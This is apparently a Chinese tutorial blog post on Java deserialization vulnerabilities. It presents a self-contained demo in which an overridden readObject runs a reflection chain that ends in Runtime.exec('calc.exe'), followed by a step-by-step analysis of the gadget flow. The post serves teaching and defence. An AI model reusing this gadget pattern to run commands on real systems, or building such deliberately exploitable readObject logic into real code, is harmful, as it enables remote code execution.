2. 程式人生 > >java反序列化原理-Demo（二）

java反序列化原理-Demo（二）

阿新 • • 發佈：2018-08-14
mage ins bytearray stream utc 繼承 etc input exceptio

java反序列化原理-Demo（二）

0x00 測試代碼以及運行結果

測試代碼：

package test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class ReflectionPlay implements Serializable{

      public static void main(String[] args) throws Exception {
          new ReflectionPlay().run();
      }

      public void run() throws Exception {
          byte[] ObjectBytes=serialize(getObject());
          deserialize(ObjectBytes);
      }

      //在此方法中返回惡意對象
      public Object getObject() {
          String command = "calc.exe";
          Object firstObject = Runtime.class;
          ReflectionObject[] reflectionChains = {
                  /*
                   *            Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
                    new Class[] {}).invoke(null);

             Class.forName("java.lang.Runtime")
             .getMethod("exec", String.class)
             .invoke(runtime,"calc.exe");
                   * 
                   * */

                  //調用 Runtime.class 的getMethod方法,尋找 getRuntime方法，得到一個Method對象(getRuntime方法)
                  //等同於 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
                  new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同於 method.invoke(null),靜態方法不用傳入對象
                  new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,並將 command作為參數執行命令
                  new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
          };

          return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
      }

      /*
       * 序列化對象到byte數組
       * */
      public byte[] serialize(final Object obj) throws IOException {
          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut = new ObjectOutputStream(out);
          objOut.writeObject(obj);
          return out.toByteArray();
      }

      /*
       * 從byte數組中反序列化對象
       * */
      public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
          ByteArrayInputStream in = new ByteArrayInputStream(serialized);
          ObjectInputStream objIn = new ObjectInputStream(in);
          return objIn.readObject();
      }

      /*
      * 一個模擬擁有漏洞的類，主要提供的功能是根據自己的屬性中的值來進行反射調用
      * */
      class ReflectionObject implements Serializable{
          private String methodName;
          private Class[] paramTypes;
          private Object[] args;

          public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
              this.methodName = methodName;
              this.paramTypes = paramTypes;
              this.args = args;
          }

          //根據  methodName, paramTypes 來尋找對象的方法，利用 args作為參數進行調用
          public Object transform(Object input) throws Exception {
              Class inputClass = input.getClass();
              return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
          }
      }

      /*
      * 一個用來模擬提供惡意代碼的類,
      * 主要的功能是將 ReflectionObject進行串聯調用,與ReflectionObject一起構成漏洞代碼的一部分
      * */
      class ReflectionChains implements Serializable{

          private Object firstObject;
          private ReflectionObject[] reflectionObjects;

          public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains構造方法
              this.firstObject = firstObject;
              this.reflectionObjects = reflectionObjects;
          }

          public Object execute() throws Exception {
              Object concurrentObject = firstObject;
              for (ReflectionObject reflectionObject : reflectionObjects) {
                  concurrentObject = reflectionObject.transform(concurrentObject);
                  System.out.println(concurrentObject);
              }
              return concurrentObject;
          }
      }

      /**
       * 一個等待序列化的類,擁有一個屬性和一個重寫了的readObject方法
       * 並且在readObject方法中執行了該屬性的一個方法
       * */
      class ReadObject implements Serializable {

          private ReflectionChains reflectionChains;

          public ReadObject(ReflectionChains reflectionChains) {
              this.reflectionChains = reflectionChains;
          }
          //當反序列化的時候，這個代碼會被調用
          //該方法被調用的時候其屬性都是空
          private void readObject(java.io.ObjectInputStream stream)
                  throws IOException, ClassNotFoundException {
              try {
                  //用來模擬當readObject的時候，對自身的屬性進行了一些額外的操作
                  reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
                  reflectionChains.execute();
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
      }
    }

運行結果：
技術分享圖片

0x01 測試代碼分析

涉及到的類：

類名 是否繼承 Serializable 方法名
ReflectionObject 繼承 transform
ReflectionChains 繼承 execute
ReadObject 繼承 readObject（重寫）

註：要想產生反序列漏洞，需要重寫readObjec方法

代碼流程：

  1. serialize(getObject())；將一個對象序列化

  2. getObject()； 生成一個ReflectionObject數組，包含三個ReflectionObject對象；然後使用ReflectionObject數組生成一個ReflectionChains對象，繼續使用ReflectionChains對象生成一個ReadObject對象

    new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
              //調用 Method 的 invoker 方法可以得到一個Runtime對象
              // 等同於 method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
              //調用RunTime對象的exec方法,並將 command作為參數執行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};

      return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
  3. deserialize(ObjectBytes)；將序列化後的字節反序列化
    將傳入的字節進行反序列化，因為傳入的字節是一個ReadObjec對象序列化後的，因此在反序列化時需要調用ReadObjec的readObjec方法（該方法已經被重寫） 
    private void readObject(java.io.ObjectInputStream stream)
              throws IOException, ClassNotFoundException {
          try {
              //用來模擬當readObject的時候，對自身的屬性進行了一些額外的操作
              reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
              reflectionChains.execute();
          } catch (Exception e) {
              e.printStackTrace();
          }
      }

    在這裏我們需要註重看技術分享圖片
    在生成ReadObject對象時傳入的參數是ReflectionChains對象，所以這裏調用的execute()方法就是ReflectionChains的execute()方法。
    接著分析ReflectionChains的execute()方法：

    public Object execute() throws Exception {
          Object concurrentObject = firstObject;
          for (ReflectionObject reflectionObject : reflectionObjects) {
              concurrentObject = reflectionObject.transform(concurrentObject);
              System.out.println(concurrentObject);
          }
          return concurrentObject;
      }

    關鍵代碼：
    技術分享圖片
    由上面可知生成ReflectionChains對象時傳入的參數是ReflectionObject數組，這段代碼的含義便是：遍歷ReflectionObject數組，每一個元素（ReflectionObject）執行transform方法
    繼續分析ReflectionObject的transform方法：

    public Object transform(Object input) throws Exception {
          Class inputClass = input.getClass();  得到input對象是那個類的類名
          return inputClass.getMethod(methodName, paramTypes).invoke(input, args);   通過類名調用該類的某一方法
      }

    技術分享圖片
    註意：
    通過以上分析可以了解到，進行反序列化的反射鏈為：
    deserialize(ObjectBytes)； 調用ReadObject類的readObject方法；接下來調用ReflectionChains類的execute方法；接下來通過遍歷ReflectionObject數組調用ReflectionObject類的transform方法

0x02 核心分析

通過以上代碼分析看，最終需要執行的便是以下代碼：

 new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同於 method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,並將 command作為參數執行命令
 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),    
等同於執行了：Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同於執行了：method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime對象的exec方法,並將 command作為參數執行命令

第一個對象執行完成：
Runtime.class.getMethod("getRuntime", new Class[0]);
輸出的結果：java.lang.Runtime.getRuntime() 輸出的是一個類
第二個對象執行完成：
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
輸出結果：java.lang.Runtime@74a14482 輸出的是一個Runtime的對象
第二個對象執行完成：
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")

參考鏈接：http://www.freebuf.com/vuls/170344.html

java反序列化原理-Demo（二）

相關推薦

java反序列化原理-Demo（二）

mage ins bytearray stream utc 繼承 etc input exceptio java反序列化原理-Demo（二） 0x00 測試代碼以及運行結果 測試代碼： package test; import java.io.ByteArrayInput

java反序列化原理-Demo（一）

51cto n) www. fault clas ack 保存 發現 auto java反序列化原理-Demo（一） 0x00 什麽是java序列化和反序列？ Java 序列化是指把 Java 對象轉換為字節序列的過程便於保存在內存、文件、數據庫中，ObjectOutput

java-類的載入機制demo（二）

package com.test.testClass; public class Test { static { //System.out.println(number); number = 1; } private static int

淺談Java反序列化漏洞原理（案例未完善後續補充）

序列化與反序列化 序列化用途：方便於物件在網路中的傳輸和儲存 java的反序列化 序列化就是將物件轉換為流，利於儲存和傳輸的格式 反序列化與序列化相反，將流轉換為物件 例如：json序列化、XML序列化、二進位制序列化、SOAP序列化 序列化：java.io.ObjectOutputStream 類

java反序列化漏洞原理研習

java程序 out import 修改 sed 判斷 pub 發現 commons 零、Java反序列化漏洞 　　java的安全問題首屈一指的就是反序列化漏洞，可以執行命令啊，甚至直接getshell，所以趁著這個假期好好研究一下java的反序列化漏洞。另外呢，組裏多位大

關於metaspolit中進行JAVA反序列化滲透RMI的原理分析

resp format shel git led 技術 文件 error: return 一、背景： 這裏需要對java反序列化有點了解，在這裏得推廣下自己的博客嘛，雖然寫的不好，廣告還是要做的。原諒我： 1、java反序列化漏洞原理研習 2、java反序列化漏洞的檢測 二

java反序列化 - Transformer類可以執行惡意代碼的原理

write bject calc == return cal leg invoke stack java反序列化 - Transformer類可以執行惡意代碼的原理 0x00 代碼 Transformer[] transformers = new Transformer[]

java反序列化 - transformedMap類可以執行惡意代碼的原理

clas invoke 序列化 pri [] nag roc map.entry 什麽 java反序列化 - transformedMap類可以執行惡意代碼的原理 0x00 代碼 Map map=new HashMap(); map.put("key","

第九屆極客大挑戰——怎麼又是江師傅的祕密（java反序列化）

引言：因為太想加入三葉草了，所以極客大挑戰這段時間一直在努力的學習，原來還真沒想到能在比賽中拿到排行榜第一的成績，不過現在看來努力始終都是有回報的。但我依然還是比較菜啊-.-，最近卻有很多夥伴加我好友，一來就叫我大佬，讓我深感有愧-.-，既然都想看我wp，那我就挑幾道題寫寫好了，口拙詞劣還望見諒。

java反序列化漏洞的檢測

spa div ria comm span Coding python odin ima 1、首先下載常用的工具ysoserial 這邊提供下載地址：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-

Java反序列化漏洞的挖掘、攻擊與防禦

body per 所有 http 操作 www except ride 方法 一、Java反序列化漏洞的挖掘 1、黑盒流量分析： 在Java反序列化傳送的包中，一般有兩種傳送方式，在TCP報文中，一般二進制流方式傳輸，在HTTP報文中，則大多以base64傳輸。因而在流量中

C# XML反序列化與序列化舉例:XmlSerializer（轉）

1 using System; 2 using System.IO; 3 using System.Xml.Serialization; 4 5 namespace XStream 6 { 7 /// <summary> 8

Java反序列化漏洞：在受限環境中從漏洞發現到獲取反向Shell

前言 Java反序列化漏洞可以說是Java安全的一塊心病，近年來更是在安全界“出盡風頭”。其實說到Java反序列化的問題，早在2015年年初的在AppSecCali大會上，兩名安全研究人員Chris Frohoff 和 Gabriel Lawrence發表了一篇題為《Marshallin

Java反序列化漏洞分析

https://xz.aliyun.com/t/136  寫的挺詳細的，大致瞭解了，整個流程，有點事，之後在細跟 目錄 1. 背景 2. 認識java序列化與反序列化 3. 理解漏洞的產生 4. POC構造 5. 實際漏洞環境測試 6. 總結 背景 　　2015年11月

java反序列化Commons-Collections1分析

Commons-Collections1也是利用InvokerTransformer類中的transform方法反射機制執行命令。實驗用的是commons-collections 3.1這裡說一下為什麼呼叫構造elEntry.setValue("hahah");就會彈計算器。poc前一步需要理解如下程式碼：

Java反序列化之Jackson-databind

這個洞的cve編號：CVE-2017-17485，漏洞環境就如第一個連結那樣，jdk需要在jdk 1.8以上。 先看一下Jackson-databind的用法，說白了就是將json轉換成物件。 test-legit.json程式碼如下 {"id":123} 執行結果如圖： 如果注入的json程式碼如下程

JAVA反序列化exp及使用方法

這兩天很火的java反序列化漏洞，看到烏雲大牛已經開始刷分，於是找來實踐一波 exp來源 ysoserial 這個專案針對不同的java產品給出了簡單的漏洞利用指令碼． 其中weblogic和jenkins提供python指令碼，但需自己

Java物件序列化原理以及Serializable介面

Java物件的序列化就是把一個物件變成二進位制的資料流的一中方法，通過物件的序列化可以方便的實現物件的傳輸和儲存。 原理是：物件------------->轉換----------------->將物件轉變為二進位制的資料             在物件序列化時

java反序列化安全例項解析

什麼是序列化 序列化 (Serialization)將物件的狀態資訊轉換為可以儲存或傳輸的形式的過程。在序列化期間，物件將其當前狀態寫入到臨時或永續性儲存區。以後，可以通過從儲存區中讀取或反序列化物件的狀態，重新建立該物件。 簡單來說： 序列化： 將資料結構或物件轉

JAVA反序列化漏洞

目錄 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 物件序列化和反序列範例 JAVA中執行系統命令 重寫readObject()方法 Apache Commons Collections 由於本人並非JAVA程式設計師，所以對JAV